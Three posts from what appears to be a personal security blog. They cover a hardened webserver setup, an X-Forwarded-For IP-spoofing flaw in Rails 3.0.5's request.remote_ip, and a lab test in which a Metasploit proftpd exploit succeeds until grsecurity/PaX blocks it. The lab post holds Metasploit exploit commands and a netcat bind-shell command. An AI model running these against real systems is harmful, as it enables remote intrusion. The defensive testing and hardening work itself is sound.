Sonntag, 3. April 2011

Incident Response with Server- and Config-Management

i m working on finding best-practices in webserver-security (for my servers).
as this is an in-dev-process, i would really appreciate some criticisms, hints, ...

grsecurity (hard) patched server with active least-priv-policy (RBAC)
apache with mod_rails (one user per webapp)
logs external on a server with splunk


Dienstag, 15. Februar 2011

Ruby on Rails Vulnerability

Rails 3.0.5 doesn't validate the input for the X-Forwarded-For field in the header sent by clients with a class C remote-addr. (see: TRUSTED_PROXIES). So this Attack could also work if there s a load-balancer infront of the mongrel- or unicorn-instances.

This affects the security of internal webservers with rails-web-apps (Intranet-Servers, ...)

affected: request.remote_ip

rails/actionpack/lib/action_dispatch/middleware/remote_ip.rb   method: to_s

possible attacks (on intranet webapps):
x ip spoofing
x logfile-injection
-- ipspoofing
-- date back attack (hide)
-- binary injection to mess with analysing-tools

if request.remote_ip is used in an insecure manner
- Persistent XSS
- SQL-Injection (if request.remote_ip is used in an insecure sql-query)
(i would have trusted request.remote_ip)

check if "request.remote_ip" is really an ip-address before you use it



Screencast shows you a POC with tamperdata.
Persistent XSS with Devise, IP-Spoofing, ...

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Montag, 31. Januar 2011

grsecurity vs proftpd-exploit

Victim: Debian 6.0 with proftpd 1.3.3a
Attacker: Backtrack 4 rc2 - Metasploit 3.6

use exploit/linux/ftp/proftp_telnet_iac
set TARGET 2
set PAYLOAD ...

The Shell-payloads of metapsloit didnt work but i could execute a command
--> nc -l -p 1234 -e /bin/bash
which listens on port 1234 and gives you a bash shell on connect

system got compromised. so now with grsecurity
to patch the latest kernel in this case
Linux debian

at compilation i got an error, something with "lguest"
found a workaround (easy) at

i tried again to exploit proftpd and it didnt work.
pax did alarm me and shutdown proftpd